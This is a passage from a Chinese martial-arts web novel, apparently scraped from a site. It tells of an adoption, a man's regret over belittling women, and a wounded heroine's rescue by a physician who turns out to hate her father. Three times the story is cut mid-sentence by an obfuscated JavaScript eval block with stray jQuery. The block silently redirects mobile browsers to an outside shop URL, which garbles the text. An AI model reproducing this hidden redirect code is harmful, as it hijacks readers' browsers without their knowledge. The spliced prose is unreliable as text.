贺永芳也找机会同许淑平掏心叙话,表示自己作为贺家长辈,真心希望贺新韵能有人疼爱,她瞧着贺新韵想认她做母亲的心无比真挚,希望许淑平成全,这样自己的兄嫂在天上也才能安心。 贺永芳走后,许淑平想了又想,坚决的心终于有了松动。她说得对,贺新韵是自己身边几个孩子中唯一没有父母在侧的,文远骥每次送东西到秋山居,比起紫璇贺新韵总是更加喜悦,兴奋地要把所有东西仔仔细细得瞧上一遍。这些情景落在许淑平眼中,如何能不知道贺新韵对亲情的渴望。 于是,她不再坚持,又一次认真确认了贺新韵的心意之后,答应了。 贺永芳对此事最为上心,当天便着人安排好祭礼,让贺新韵先拜了父母,然后对许淑平行大礼,拜义母。 仪式过后,贺新韵迫不及待地正式叫了她第一声“娘”,许淑平滚下泪来,母女俩抱在一起,久久都没有分开。在旁见证的贺永芳也止不住落泪。 谭修明一改往日的跳脱,突然变得愁眉苦脸起来。齐熙宁和紫瑛关心地问他怎么了,他扭捏半响,最后才说了一句让所有人惊掉下巴的话。 “要是我的孩子还活着就好了。” “你?!你哪来的孩子?”紫瑛被他看着长大,这么多年从来没听他提过自己的父母妻子。 在她和齐熙宁的软磨硬泡下,谭修明才道出了此中原委。 他的暗器功夫独树一帜,在江湖上闯出了名声,不免有些沾沾自喜,对着自己心爱的女子也少不了说几句嘲讽之语。有一次,说起女子在江湖之中甚少出头,他的相好便指责江湖中的男子虚伪自大,总是瞧不起女子,实际上无论是武功还是智谋,超出男子的女子都数不胜数,只是人们从来不承认、不记得罢了。 谭修明却不以为意,嘲笑她是痴人说梦,还拿他自己和她对比,说明女子天生体格弱,在武艺上难有建树。且优柔寡断、多妇人之仁,成不了大事,是以最适合相夫教子、料理家事。 相好与他争论不下,第二天便留书出走,说自己一定会建一番大事业,叫他知道女子是不是只能被困于闺阁。 他后悔不迭,寻之四海却未有所获。于是越发恼恨自己,便成日烂醉,常常喝到一文钱都不剩被酒楼赶出来。有一回他醉倒路边,遇到另一个江湖人,没说两句就起了龃龉。江湖人便想下狠手打死他以泄愤,最后是许淑平救了他。 即便在醉中,他也能清清楚楚地看到许淑平招式老辣、谋定后动,只用了五招就将挑衅的江湖人打得满地找牙。谭修明这才不得不承认,江湖上真有武功智谋超出男人的女子。他意识到自己不过是个目光短浅、见识偏僻的小人,往日那般争荣夸耀的心统统熄灭,自请追随许淑平左右,就当是惩罚自己鼠目寸光,狂妄自大。 谭修明说完,正自顾自地哀叹,齐熙宁不客气道:“哪个自尊自爱的女子愿意和看不起她的男人在一起?谭前辈不只是说错了话,实在是伤了人家的心。” 紫瑛瞧着谭修明阴得都要滴出水的脸色,担心他太过难受,反而安慰道:“谭叔叔已经知道自己错了,比起那些还高高在上的男子总是要强一些。” 可谭修明却苦着脸摇头:“错了就是错了,还分谁错的少?熙宁说的对,我伤了她的心,让她再也不愿意见到我,该!” 紫瑛还想再劝,可也找不出合适的话儿来了。 “那你说的孩子又是怎么回事?”齐熙宁问。 谭修明叹了口气:“她走的时候已经有了身孕,她一向喜欢孩子,肯定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616954|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舍得打掉它的……” “单身女子,要带着刚出生的孩子在江湖上飘零,怕是不那么容易……”齐熙宁的话戛然而止。 谭修明听出了她的所指,更加黯然神伤:“我何尝不知道,想起她们孤儿寡母,我就更加该死!” 同样情绪低落的,还有紫璇。 紫璇和贺新韵同在许淑平膝下长大,对她的心思了解地最是清楚。许淑平的一餐一饭、起居坐卧,贺新韵都当作自己的事情一般悉心照料,在她心里早把许淑平当成了母亲。直到今日她们终于捅破了这层窗户纸,许淑平多了个女儿,膝下有人尽孝,贺新韵重获母亲,可以弥补当年的遗憾,紫璇怎么能不替她们高兴。 可是,当她看到贺新韵扑到许淑平怀里,亲昵地唤着“娘亲”时,却一点儿也不想看第二眼,于是默默退了出去。一直注意着她神色的瑾瑜跟在后面,一直走到了很荒僻的庄子一角。 “你……不太开心?”瑾瑜瞄了一眼她的表情,轻轻问道。 “怎么会?”她立马否认,“姥姥与新韵姐姐对彼此的依恋我们都看在眼里,不是母女胜似母女,早该像今日这样的。” 瑾瑜便没有再说活,只是安静地陪着她。 过了一会儿,紫璇突然道:“我只是突然觉得,我好像是个坏人,明明是一件好事,我却……有些讨厌……” “但同时,你也是真心为她们二人高兴的,是不是?”瑾瑜的声音柔柔地,像是在安抚受惊的婴孩。 紫璇点头:“我不是讨厌姥姥和贺姐姐,我只是……”。 “你只是想起了自己的母亲,也想像她们那样和娘亲说说知心话儿?” 紫璇不语。 “这没有什么不对。她们是你的家人和朋友,她们好,你自然也开心。可是,你也希望自己的娘亲能陪在身边,所以为此难过。二者都是自然而发的,并不冲突,和道德品行也不想干……” 走在前面的紫璇停了下来,头垂得很低,双手覆在了眼睛上。瑾瑜快走了两步,挡在她身前:“想哭就哭出来,不需要忍着,我守在这,没人看到。” 紫璇的哭声渐大,泪水从她捂住眼睛的两只手的缝隙里不断流出来。瑾瑜找遍全身也没有摸到手帕之类的东西,正着急帮不上忙,紫璇却突然向前一步,把头埋在了他的怀里,闷闷地哭了起来。 这个举动居然发挥了点穴的效果,刹那间瑾瑜全身僵硬,一动都不敢动,两只手握成紧紧的拳头,支棱在紫璇身体两侧,却一点儿也不敢靠近她。全身上下只有心脏怦怦直跳,仿佛在努力证明这个人还活着。 不知道过了多久,也不清楚紫璇什么时候停止了哭泣,什么时候从他的怀里伸展了身体。等到他意识到紫璇抬起头,直直看向他的眼睛似乎有话要说的时候,一直响箭破空而来,若不是紫璇足够敏捷,带着他闪开,他怕是就要这样在混沌中殒命了。 第二支响箭随之而来,紫璇短剑出鞘,将其削做两段。继而跃起,向着响箭的来处追了过去,瑾瑜立刻跟上。 前方黑影跑得极快,紫璇几次打出暗器,都被那人巧妙地避开。来人轻功、暗器都不输自己,她越追越是心惊。许淑平尚未痊愈,贺家庄防卫薄弱,若被人探知庄内虚实,再把大批敌人引来,必然十分危险。 然而,当她和瑾瑜落到庄外树林,眼前再无那人身影之时,她才突然意识到自己已经落入圈套。果不其然,反应过来的下一刻,她便看到四个蒙面之人朝自己围拢了过来。 137. 求生(一) 山势崎岖陡峭,并无现成道路。一伙黑衣人屏息疾行,目标直指视野范围内慌不择路的一个年轻男子,他的背上还负者一个累累受伤,已然不能行走的女子。 男子轻功不弱,但被长久围追堵截下来,受的伤不少,再加上另一个人的重量,速度便不似初时那般迅捷。好在山上林大树多,他只管捡着险峻陡峭、布满荆棘的荒野之地奔驰,让身后之人吃了不少苦头,即刻间追不上来。 紫璇已然没有了战力,单凭他一人如何抵挡得住这么多好手?前无去路,后有追兵,一味逃跑似乎也只是在无力地推迟着他们被擒的时间而已。 那日在贺家庄外,敌人一齐攻来,紫璇以一敌四,瑾瑜从旁翼护,不时帮她补缺,短时内未落下风。纠缠之中紫璇发现来人和“黑白双煞”一样,对她从不出杀招,反而向着瑾瑜痛下杀手。 她虽不明就里,却不愿瑾瑜被无辜波及,便使出全力,先后击毙了两人。渐渐地,她便有些力竭难支,勉强和剩余两人周旋,好不容易手中短剑戳穿了一人的身体,尚未收招,另一个人就将瑾瑜擒住,飞离了原地。 对方受了伤,瑾瑜尚有反抗的余地。他先是在空中肘击那人胁下,那人顿时泄力,放脱了他。落地之后,瑾瑜立即起身,那人也随即赶到,下一刻已挡在了他的身前,阻住了他的去路。 不过瑾瑜手脚已经重获自由,便与之对打了起来。紫璇赶来时,瑾瑜虽然受了些小伤,但已拿住那人要害。紫璇随即抢上抹了他的脖子。 好不容易脱离险境,两人气还没有喘匀,追兵即刻又至。此时紫璇已经没有把握能够一下子杀死这么多人。于是和瑾瑜且战切退,一路上和追兵几度交锋。为了护住瑾瑜,紫璇出招不顾后果,若非那些人不欲取她性命,他们两个决计不可能逃了这么久还没被对方拿下。 奔跑已经成了瑾瑜的本能,即便心中隐隐有个声音告诉他只靠跑是躲不过去的,他也无法再做出其他的举动。然而,绝望的时刻远比他料想的来得要快! 他原本希望,跑过这个山头就能出现某个地方让他和紫璇暂时躲避,却被想到山势的尽头竟然是荒无人烟的峭壁。他猛地刹住脚步,朝下瞥了一眼,山壁近乎竖直,仿佛是仙人持巨斧将大地劈开来造就的深壑,其间大雾弥漫,根本辨不清深浅。 对崖距离不近不远,若放在平时,瑾瑜绝对有自信可以带着紫璇自由来去,可如今……他扭头看了一眼背上紫璇,想起自己曾大言不惭说要护她周全的话,再次羞愧难当。 紫璇这时神志稍微清醒了些,稍一抬头便洞悉了眼前情形。她很清楚,这些人的目标是活捉自己,正因为如此,她无论如何也不能落入他们手中。追兵的喊声已至,唯有冒险才可能找到生路。如此想着她便冲瑾瑜努力笑了笑,继而坚定点头。 瑾瑜没有时间多想,看看眼前的悬崖,最后望了一眼紫璇,奋力纵身向前,施展轻功,力争多跃出几尺。不过,他还是不够幸运,几下翻腾之后,气力已尽,只能眼看着一步之遥外的对崖越来越高。追兵赶到时,只看到两个人影急剧下落,显然是没有生还的希望了。 生死一线之间,瑾瑜回想起过去种种,一股不甘心油然而生,求生意志再起,急忙提气再跃,奈何力有不逮,身子一提之后仍是下落,但距离对面的崖壁却更近了一些。他瞅准时机伸出一只胳膊勾住石壁上长出来的小树枝杈,枝杈承受不住两个人下坠的力道,立马断裂,两人再度下落。 瑾瑜如法炮制,见有伸出的树木便奋力攀住,如此几下之后,两人下落的力道一次次减缓,最后稳稳地落在了一处横生出来的枝干上。 还真是天无绝人之路,悬崖足够高拔,他们这般不断下坠也未能触底,免去了撞死的命运。不仅如此,崖底的情况也变得清晰可见:一个大湖静静的躺在谷底,湖西是一小块平地,往东则是一片缓坡和密密的树林,再远处仿佛还有袅袅炊烟。 “咱们得救了。”瑾瑜把负在背上的紫璇打了个转儿,横抱在自己怀里。想也不想,右脚用力踏了一下石壁,几个翻腾便落入了湖中。 身体刚接触到湖面,他便立刻警觉,湖水如此寒冷,自己倒还不妨,紫璇本就身子虚弱,沾了冷水,要是寒症复发怎么办?荒山野岭,到哪儿去找大夫?于是,哪怕他此刻已经精疲力尽,也还是硬拼出些力气,使劲划了几下水,带着紫璇挣扎着游出水面。刚到岸上,就再也支持不住,晕了过去。 待到醒来时天已经黑了。瑾瑜学会了紫璇的处处警惕,先挣着身子听了良久,确定周围没有人声才放下心来。彼时紫璇仍在沉睡,但湿透的身子却止不住瑟瑟发抖。他抱着紫璇找到一株大树,又脱下自己的外裳,一半折在地下,一半盖在她身上。这才去搜罗了些枯枝树叶来,准备烤火。 瑾瑜身上没有火折子之类的引火之物,所幸紫璇随身带着匕首,再加上寒冬已至,山中树叶干枯易着,匕首和石头撞击下溅起的火星很快就燃起了火焰。他又预备去周围找找有没有可吃的东西,却见紫璇醒了,便对她笑道:“咱们得救了。你先在这里待一会,我去周围看看。” 刚要起身,就被紫璇拉住:“别走,我不想一个人……” 她十分虚弱,头脑混沌,已经有寒症的前兆。这里荒无人烟,一旦发病,只怕凶多吉少。手被瑾瑜攥着,一丝丝温热从他的手中传出,紫璇觉得心安不少,迷糊中又说了一句:“我不想一个人死……” 瑾瑜的手立刻收紧:“不,你不会死!”说的声音极低却又极其用力,比起安慰紫璇,倒更像是在说服自己。 其实他的情况也很不乐观,体力不支暂且不提,满身都是打斗和路上荆棘划过留下的伤口,因为没有及时处理,淤血还清晰可见。再加上刚才落入湖水,伤口更是钻心得疼,但他一直都忍着,和她相比,我这点伤算什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627390|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 夜里风大,瑾瑜将紫璇拥在怀里,再用外裳裹住她的身子,想尽可能把暖意留住。紫璇偶尔清醒一阵,一抬眼便可以对上他须臾不敢闭上的眼睛,既感念他对自己的真心,又害怕即便是如此狼狈的依偎以后也都不会有了,交织着复杂心绪的泪水终于决堤。 看到她哭,瑾瑜更加手足无措,只能将她抱得紧一些,再紧一些。 休整了一晚,清早,瑾瑜略觉得气力有所恢复,马上背着紫璇循路到坡脚下来。走了一会儿,林中转出小小三间房舍,乃是个山民们祭祀山神的小庙。庙内除了泥塑香火,几个蒲团之外,别无他物。地上倒是十分干净,想必不时会有人前来打扫。 紫璇自昨天入夜以来一直有些发烧,此时昏昏沉沉的。瑾瑜心内着急,将她放在一个蒲团上,让紫璇靠着柱子休息。自己去四处看看,既要找到吃的和水,也顺便看看周围是不是有人居住。 !!! 他实在想不通,危险怎么能接踵而至!他出去还不到一炷香的功夫,紫璇竟然不见了。 此时此刻,他最为担心的是那伙人已经找到这里来,将紫璇掳走了。他在小庙周围唤了几声都没有回应,找了一大圈也未见有半个人影,当真是欲哭无泪,对自己越发恼恨,怎么能这么大意!将她一个人留在这样一个陌生之地。 好不容易冷静下来,他才发觉地上有一串显眼的脚印。庙里地面原本很干净,可这脚印上却带着新鲜的泥土,显然是刚刚留下的。这串脚印通到门口,门外泥土硬实,脚印不甚明显,但出现了一道车辙。 车辙一直通到一座院门前,看样子是山中的一户人家。院门关着,围墙不高。瑾瑜取出匕首,猛一提气越过院墙,一辆乡间常见的板车停在院中,旁边几个农夫模样的年轻汉子端着一大碗热茶正在说笑,见到一个人影突然间从墙边落下,都吓得慌了神。 其中一个胆量颇大的站起来喊道:“你是谁!?” 瑾瑜不及思索,期到离他最近的一个人跟前,用匕首抵住他的脖子,问:“你们是谁?你们把紫璇带到哪里去了?!” 旁边几个人又是着急、又是疑惑,却又不敢上前。还是那一个胆子略大一些的说:“你又是谁?快把人放开!什么子啊圆啊的,我们怎么知道?” “少说废话!这架车在,人就是你们抓走的,别想抵赖!快把人交出来!” “人?什么人?” 另一个人反应过来,小声对同伴道:“难道是刚才那个姑娘……” 瑾瑜脚步一转,立刻将前面那人放开,又把匕首架在了说这话的那人脖子上。 “别……别……”他突然大声喊道,“思瑶!思瑶!快出来!” 不好,他要喊人,不知有多少敌人埋伏在这里!瑾瑜心中惶急,随即握住他的嘴。 然而为时已晚,一个身着黄衫的姑娘已经从后面转了出来。 138. 求生(二) 黄衫姑娘只有十二三来岁,还是个小孩的模样,看到这幅情形不由的大惊:“你是什么人,为什么要杀阿力哥?” 瑾瑜瞅瞅面前这个孩子,又瞧瞧攥着碗怯生生瞄着自己的几个山里人,心思一转,忙松开手中人质,放柔了语调问道: “你们是不是带了一个姑娘到这里……从那个小庙?” 黄衫姑娘马上笑了:“你是如何知道的?她在后面……” 等不及她说完底下的话,瑾瑜已经冲进屋内。黄衫姑娘赶忙追了过去:“你等一等,病人还没有醒……” 被瑾瑜用匕首威胁的那个汉子摸摸脖子咽了下口水:“这人……莫不是个疯子?”,一面又向屋子里张望。 黄衫姑娘赶到时,看到瑾瑜正俯身跪在床铺边上查看病人的情况,心下已有些明白,忙道:“我在那边小庙里见到了这位姐姐,似乎是生了重病的样子,便叫人带回来医治。” “医治?你是大夫?”瑾瑜打量了一下她,看她年纪还小,绝不像是通晓医术的样子。 “我爹爹才是这里的大夫,村子里的老老少少都找他来瞧病的。” 这里竟然有大夫!瑾瑜看到了一丝希望,即刻展颜道:“我们就是来找大夫的……适才诸多唐突之处,还望……还望姑娘海涵。不知令尊现下在何处?她伤重未愈,昨日又感染了风寒,还望令尊大人……” “你这人说话怎么这么啰嗦?还文邹邹的。可怎么办呢,爹爹一早进山采药去了……” “啊?!那他什么时候能回来?” “这个说不定,进山采药最起码也得三四日吧。” 看着瑾瑜立马转为焦急的神色,黄衫姑娘又道:“再等等吧,若天黑之前爹爹还未下山,那这两日你都见不到他了。” “什么意思?你不是说采药至少要三四日吗?” “山里马上要下大雨了,你不知道吗?”思瑶说着便望了望窗外的天色,“这云已经积了半日了,爹爹得知今晚大雨,很可能就此折返,要不然就会找一处猎人的小屋避雨。要是他回来,最起码也得到晚饭时分。” 此刻也没有别的办法,瑾瑜只好压下心慌坐等。半响过去,他才意识刚才颇多失礼,忙带了歉然的微笑问她:“适才情急,还没问姑娘如何称呼?” “我姓钟,爹爹给我起名字叫思瑶。这里的人都直接唤我的名字。” “令尊大人的高姓大名可否……?” 没等他说完,思瑶便道:“你问我爹爹叫什么吗?我爹爹姓林,单名一个‘茂’字。” “怎么令尊的姓氏和你不一样?”瑾瑜脱口问出后才意识到其中必然有什么隐情,自己贸然打听实在不妥。 不过思瑶并没有觉得不舒服,而是直接答道:“我是个女孩,生下来的时候差点被扔到水里淹死。是爹爹救了我,还把我交托给一户没儿没女人家。后来,我的养父母生了疫病,没能活下来。他看我一个人孤苦无依,就把我带在身边,做他的女儿。” 他能搭救一个路上的陌生婴孩,肯定也会悉心诊治紫璇的,瑾瑜听罢,心中又安稳了一些。只盼着这位林大夫早些下山。 思瑶去拿了药匣子过来,帮瑾瑜清理伤口,并敷药。瑾瑜谢过她的好意,乖乖在一旁的椅子上坐了下来。还没弄好,紫璇突然动了一下,又模糊说了几个字,瑾瑜马上起来去查看。 “这位姐姐看上去很不舒服呢。这里四面环山,周围人烟稀少,你们是从哪里来的,身上怎么会有这么多的伤?” 瑾瑜并不答话,只紧紧攥住紫璇的手,一动不动地瞧着她。 思瑶瞧着他的样子,好奇道:“这位姐姐……是你的妻子吗?” “哪里?我们只是结伴……同行,我哪有这么好的……”瑾瑜颇觉窘迫,不知道该怎么描述他和紫璇的关系。 思瑶却根本没有仔细听他的话,只自顾自地说:“爹爹偶尔说起他妻子时候的表情和你现在一模一样,似乎……似乎……” “似乎什么?” “似乎这世上的一切,都没有她来的要紧。” ******************* 思瑶料得不错,天还没完全黑下来,林大夫就回来了。 思瑶听到外间的声音,忙迎了上去,一边帮父亲卸下肩上的药蒌,一边和他说起瑾瑜和紫璇。听说有病人,林茂也不多话,立刻转身去了药庐后面的屋子。 瑾瑜正准备出来打招呼,却见大夫往另一边去了,忙向思瑶询问原委。 “爹爹在山中走了大半日,衣衫有些脏了,他去洗手换衣裳。”见瑾瑜不解,思瑶又解释说,“给病人看病治伤,医者干净无秽是最要紧的。更何况,爹爹刚刚采过药,手上不免沾染上什么东西,要是不洗净了,怕是对那位姐姐有什么妨碍。” 正说着,林茂果然换了另一身衣裳往这边过来。他是一个瘦削的中年男人,须发皆有一些灰白,还有些驼背,一双眼睛木然无神。 他也不和瑾瑜搭话,径直走进内室给紫璇搭脉,又一面打量了她肩头撕裂的衣衫和遍身的斑斑血迹,略一沉吟,道: “这位姑娘脉息微弱,不光是失血过多所致,应该是受过什么内功高强之人的掌力吧。” 瑾瑜刚想回答,却被他瞪了一眼,好像他并没有要他解释。 “不对,看脉象,这伤怕是有三日了。受这么重的掌力,还能活到现在,如果不是她自身功力不弱,就是你给她渡了真气续命?” 林茂说罢,拿眼望向瑾瑜,示意他说话。 瑾瑜忙道:“她武功极好,我……晚辈没有那么厉害的内力”。他见林茂竟能分辨出紫璇所受的伤因何而来,知他并非寻常大夫,当也是武林中人,便以“晚辈”自称。 林茂点了点头:“她体内有一股极寒之气,趁着内里虚极反扑上来,已经裹挟住了全身。” “爹爹,这位姐姐的伤严重么?还能救回来不?”他说得严重,连思瑶都着急起来。 “她身上的伤口你已经处理过了,虽然治得晚了一些,但是用我配的药自然好得了。” “那内伤呢?”瑾瑜忙问。 林茂抬头看了看他焦急的神色,“若是落在别人手里自然是有些难办。你们运气好遇上我,只要我用内力暂时调住她的性命,再施以药物压制寒气,且死不了。” 在这荒山野岭之中,能遇上大夫本就是不幸中的大幸,懂武功有内力的大夫就更加超出想象。林茂说得一点不错,瑾瑜猛猛点了几下头,高兴地失去了言语。 “瑶儿,先取一丸还魂丹来,用参须煎汤化开,一会儿给她服下。”林茂说罢,又向瑾瑜吩咐,“扶她起来,脱去她的外裳。” 瑾瑜一惊,不知道林茂是何意图。 “你个小子满脑袋歪心思!她现在脉息本就微弱,我若只管将内力输入她体内,必然致她虚不受补。看你年纪轻轻,道行必然不够,也不能祝她散功。脱去外裳看似愚蠢,却是散功最简单的法子。” 瑾瑜有些惭愧,但还是不敢伸手。林茂望了他一眼,心下了然,略点了点头,叫道:“瑶儿”。 思瑶应声而来,说道:“药取好了,参须已经在煎了。” “你来帮她脱衣裳。留着小衣。” 思瑶伸手帮紫璇解扣子,偏在此时,从紫璇颈中掉出一件物事来。瑾瑜还没看清楚那是什么,林茂就已经将它扯了下来,双眼圆睁,似乎难以置信。 “前辈……”瑾瑜凑过去,看到他手中攥着的是紫璇颈中一直带着的玉佩,他只在金陵时见她取下来过一次。 “这是什么!?她从哪里得来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644416|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林茂向他怒喝,模样可怕到仿佛要吃了他。 瑾瑜脑袋发懵,想不通他何以如此,如实答道:“这似乎是她母亲留下的遗物。” “母亲的遗物……她不会是文远骥的女儿吧?”林茂的眼珠子都要蹦出来了。 “前辈如何得知?” 林茂登时狂笑,继而大吼:“好啊,多行不义必自毙!没想到,文远骥也有栽到我手里的时候!”说罢便推开思瑶,提掌欲向紫璇击落。 自他突然变了态度,瑾瑜便嗅到不妥。见他出手便立刻扑过去,张开臂膀挡在紫璇身上:“不论您和文门主有何过解,都与他的家人无关,您绝不该将他的女儿当作报仇泄愤的牺牲品!” 思瑶被林茂推到地上,此刻根本顾不上自己,伸手牵住林茂的衣服下排,喊着:“爹爹,不要杀人!” 林茂的神色略缓,狞笑道:“过解?我和文远骥的血海深仇岂是普通过解,此仇不报,何以为人!” 瑾瑜依然死死将紫璇护在怀中:“晚辈虽不知前辈是何身份,缘何在这深山之中韬晦行医。但听思瑶姑娘所说,您也是悬壶济世、救苦救难的仁人医者。没想到却会为了一己私仇,向一个身受重伤、毫无还手之力的无辜女子动手。” “她无辜?那我当年死掉的家人又何其无辜?她是文远骥的女儿,身上淌的就是罪人的血,就该死!” 瑾瑜望着他狰狞的面目,鄙夷道:“晚辈虽然资历尚浅,却也知江湖寻仇不应祸及其父母妻儿,否则必为旁人所不齿。文门主武功高深,武林中人对他颇为忌惮,不知前辈您是不是怕了他,不当面找正主寻仇,反而在这里欺负他落难的女儿!” 林茂被这话激得哑口无言,脸色青白不定,似乎在寻思要不要把瑾瑜也一起杀了。 思瑶可从不敢这样对林茂说话,她见瑾瑜这样大胆,有些害怕,只能用力抱住父亲的小腿,使他无法突然有所举动。 紫璇的半个身子被瑾瑜牵扯者倒向床榻内侧,和下半身形成了一个极不舒服的角度。她嘴巴半张,模糊地说着几个字,细微的声音成功让三个人噤声。 “娘。”紫璇低低唤道。 这一声似乎唤起了林茂的伤心事,一直伸着的手垂了下来,他的身子也不由自主地踉跄了一下。 紫璇又叫了两声,林茂隔着瑾瑜望向她,猩红的眼中有了泪意。他猛然转过身子,向后面摆摆手,说道:“你说的对,报仇不该祸及他人。他文远骥做过的龌龊事,我偏不做。你们走吧,我不杀她,也不救她。” 说完便挣开思瑶的手,大步朝外走去。一面走一面说道:“回去告诉文远骥,十年之期一到,我必定亲上太白山与他决一生死,到时候他可不要做缩头乌龟!” 思瑶急忙追上:“爹爹,她身上还有伤。” 可林茂脚步毫不停滞,径直去了。 瑾瑜知道再说无用,帮紫璇穿好外裳。心中盘算着:“为今之计,唯有尽快出山再做道理。” 思瑶见状也不再多说,让瑾瑜稍等,转身去了外面。再回来时左手端着一碗药汤:“这是爹爹之前吩咐的还魂丹和参汤,先给她喝下,她或许能撑的时间久一点儿。这位姐姐福气大,这么久没人看炉子,药却熬得刚刚好,所以……所以你也不必太过焦心,她一定会好的。” 瑾瑜勉强一笑,算是感念她的体贴好意。 思瑶又把右手上抱的一套干净外衣放在床上:“这山里虽比外面暖和一些,但毕竟是冬天。我见她衣服破了,就找了件爹爹的旧衣裳出来,你可不要嫌弃。” 瑾瑜望着她,不知该说什么好。 思瑶却比他干脆,将药碗塞到他手里:“我来帮她穿衣服,你拿那边的空碗凉药。快点喂她吃了,要是被爹爹发现了不好。” “多谢。”瑾瑜低声道。 139. 考验(一) 送走二人后,思瑶回转至内厢,在林茂房门外听了一会儿,里面悄然无声,当下也不敢进去,只在外面站着。又过了一阵,里面凳子有响动,接着步履之声不断,似乎林茂有什么揪心之事,正在房中来回走动。 思瑶清楚,爹爹在烦难不绝的时候都会踱步来整理思绪,只是今日他似乎格外心绪不宁,步子声音比往日要大上许多,步速也更快一些。过了一会,林茂长叹了一声,似是后悔,又似是不甘,终于坐了下来。 思瑶想了想,先去烧了一壶热水,借着倒茶的由头推门进去,见林茂的半个身子都靠在桌子边上,左手还攥着从紫璇颈中拽下来的那块玉佩。她倒了杯热茶放在林茂手边,轻声说道:“坐了这半日,爹爹口渴了吧,我新烧的热茶,你趁热喝一口。” 林茂没有回应,像是没听见她的话。思瑶不敢多劝,便挨着林茂的脚边坐下。 “地上凉,快起来。”林茂见状说道。 “不要,我最喜欢挨着爹爹坐着了,就像小时候一样。” 林茂嘴角终于有了一点笑意:“那时候你才多大,三四岁?父母刚刚去世,小小的人儿吓得连话都说不出来,只知道抱着我。”说罢,望了她一眼,“现在你都这么大了……” “我哪里大了,女儿还小呢。” 沉默一阵,思瑶注意到林茂手上的玉佩,小心问道:“爹爹,这块玉佩你认识?”边说边觑着林茂的脸色。 林茂对这个问题倒没有显出怒意,左手慢慢地摩挲着手中玉佩,半响方答道:“这块玉佩是我的。” “啊?那怎么会在那位姐姐身上呢?难不成什么人把你的玉佩偷走了?” “不是,是我送给她的。” “你以前就见过那位姐姐?” “不,不是。”林茂略略一顿,过了一会儿才继续道,“这块玉佩是我娘的遗物,从小跟着我。后来……我把它送给了我最心爱的女子。” 思瑶惊了一下,却还不是很明白。不过她是小孩儿心性,听林茂提起自己心爱的女子,便先问了自己最好奇的问题:“那位姐姐和爹爹的爱人是什么关系?她为什么会有这个玉佩? “她是她的女儿。” “那她长得像不像她的妈妈?” 林茂默默回想了一阵,摇了摇头:“像,又不太像。”说罢,又恶狠狠地加上一句,“女儿家容貌多半随父,文远骥的女儿,料也不会好看到哪里去!” 思瑶心下暗笑,嘴上却说:“女儿肯定是像妈妈的。不过是病着看不出来罢了。” 林茂不语。 思瑶又道:“爹爹的意中人一定很漂亮吧?” 谈到此节,林茂的笑意才再度浮现:“在我眼中,自然是谁也不能和她相比。” “这样吗?要是我能见她一面瞧一瞧就好了。” “你见不到的,我们……都见不到了。”林茂的声调低沉了下来。 “为什么?”思瑶还是一派天真。 林茂嗫喏着,再不想承认又能如何:“她已经死了。” 思瑶虽是孩子,却也见识过不少生离死别,看着林茂伤怀,也不由得沉默下来,只有紧紧地挨着他。 “如果不是文远骥狼子野心,晗月怎么会死!”林茂怒吼了一句,最后又放低声音,似乎极为悔恨,“如果不是我,晗月又怎么会死。”说着就要把那玉佩重重摔落,思瑶急忙起身抱住他的胳膊。 “爹爹!那位姐姐将这枚玉佩贴身收藏,她必然视之为紧要之物。你要是摔烂了,她拿什么思念妈妈呢。” 听到此话,林茂怔愣出神,抬起的手也慢慢放下了。 “而且,她的妈妈一直留着这枚玉佩,说明她依然很爱爹爹你呢。” 林茂有些震动,瞧着手上玉佩,小声道:“你是说……对啊,她还留着我给她的玉佩。” 思瑶往窗外望了一眼,不知什么时候,雨已经下了起来,噼里啪啦地打在窗子上。想到心中一直挂念的那件事,她再次出声:“爹爹,雨下大了。” 林茂“嗯”了一声,没有接她的话。 她有些着急起来:“爹爹,他们俩这会儿应该在山里淋雨,不会有事吧?” 林茂倒没有因此不快,只是略皱了眉头:“内伤伤及心脉,必须尽早医治,再加上那个孩子还有寒症。”停了一停,又道,“陈年痼疾,本就容易复发。她内伤未愈,心脉受损,哪怕是些微的寒意也必然难以抵御。”又停顿了一下,看着窗外的雨势,叹道:“看这雨,怕是要下一整夜了。” “那,那这位姐姐不就活不了了?爹爹,我们救救她吧!” “他们走了都快一个时辰了,到哪里找他们去。还有,我已经说过了,她是文远骥的女儿,我不杀她,也不会救他。” “可她不光是你仇人的女儿,也你心爱之人的女儿啊。要是她妈妈知道女儿这么年轻就要死去,该有多伤心多难过……” 林茂深吸了一口气,狠心说道:“再说也无济于事,且看他们自己的造化吧。” 恰在此时,叩门声响起。隔着大雨听不真切,思瑶打开房门才确信真的有人在叫门。 “有人来啦,不知道是不是他们。”思瑶忙取了廊下雨伞,兴冲冲朝门跑去。 